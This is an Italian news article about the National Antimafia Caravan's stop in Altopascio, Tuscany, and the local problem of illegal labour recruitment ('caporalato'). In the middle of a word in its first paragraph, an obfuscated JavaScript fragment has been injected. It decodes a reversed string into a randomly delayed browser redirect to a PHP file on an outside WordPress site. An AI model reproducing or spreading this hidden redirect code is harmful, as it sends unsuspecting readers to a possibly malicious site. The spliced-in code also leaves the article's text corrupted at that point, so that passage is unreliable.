La mafia dei caporali

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Nessun territorio è esente dall’infiltrazione “camaleontica” della mafia. Anche in regioni “non sospette” come la Toscana, è facile scoprire attività illegali, alla prostituzione, dal racket, allo sfruttamento del lavoro nero. È il caso del comune di Altopascio, dove purtroppo esiste il problema del caporalato (sistema abusivo di reclutamento di manodopera, in cui i lavoratori vengono ingaggiati scavalc (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando gli uffici di collocamento, le leggi sul lavoro e le normative sindacali).
Proprio qui il 4 marzo si è fermata la Carovana Nazionale Antimafia, organizzata da Libera, Arci e Avviso Pubblico. Giunta all’ottava edizione, la seconda in Toscana, la Carovana attraversa la regione dal 3 all’11 marzo, portando nelle sue tappe iniziative di animazione, proiezioni e discussioni di film, tavole rotonde. Questo viaggio attraverso l’Italia si propone di educare alla giustizia e alla legalità, coniugando proposta e denuncia.
Ad Altopascio la Carovana affronta la situazione del comune, dove oltre al problema del caporalato si deve constatare la mancanza di qualsiasi struttura a supporto delle persone e dei lavoratori. “In questo comune – ha spiegato Maurizio Pascucci, portavoce di Libera in Toscana – c’è una difficoltà nella società civile, perché mancano, ad esempio, il circolo Arci e tutte le altre attività ad esso connesse”. Esiste però la volontà di cambiare le cose. “Vogliamo creare qualcosa di concreto anche ad Altopascio – ha detto Giuseppe Corso, presidente dell’Arci di Lucca – cercando di lavorare nella realtà culturale, partendo da quella scolastica”. È fondamentale che la spinta al cambiamento della società arrivi dalle persone che ne fanno parte, perché le istituzioni da sole hanno un raggio di azione limitato. Ed è per questo che la Carovana dà tanta importanza alla creazione di una cultura della legalità, a partire dai bambini. I ludobus giocano infatti un ruolo fondamentale. I vivaci furgoni arredati e attrezzati con materiale per il gioco, utilizzati in quei contesti e in quei quartieri delle città privi di strutture sociali e con forti problematiche di disagio, sono costantemente impiegati per coinvolgere i ragazzi con giochi che fanno capire loro i temi della mafia. Quest’anno durante l’animazione si svolge anche l’iniziativa promossa dall’Arci, che prevede la lettura di 5 poesie di Brecht, Sorek, Elba e Rodari. I bambini poi scriveranno con le matite colorate su alcuni taccuini i loro pensieri di pace. Alcuni di questi pensieri, messaggi contro la guerra e l’odio nel mondo, verranno pubblicati, altri saranno appesi al mandorlo piantato dalla comunità delle Piagge in memoria di Antonino Caponnetto.
Sulla questione di Altopascio interviene anche Luciano Silvestri, segretario regionale della Cgil, secondo cui è la riorganizzazione stessa del mondo del lavoro che spinge al caporalato. Sta infatti venendo meno la tutela del contratto collettivo, a favore di una situazione che privilegia quello individuale. Il caporalato è un prodotto dei nuovi equilibri dell’economia, che non tengono conto dei diritti dei lavoratori. Nelle intenzioni di Libera, come ha ribadito anche il suo vice presidente, Enrico Fontana, c’è la volontà di agire affinché i cittadini di Altopascio prendano coscienza della situazione e reagiscano attivandosi all’interno del territorio.
Un passo importante in direzione di un cambiamento è rappresentato dal protocollo d’intesa tra Regione Toscana, Libera, Avviso Pubblico e Direzione scolastica regionale, che coordineranno le varie azioni in materia di cultura della legalità, dei diritti e della tolleranza, e creeranno eventi sui temi della lotta alla mafia e ad ogni forma di potere occulto.
La Carovana ha lasciato Altopascio annunciando future azioni di protesta contro la pratica del caporalato, mentre dai luoghi dove le persone vengono sfruttate al nero venivano lanciati per aria palloncini colorati.

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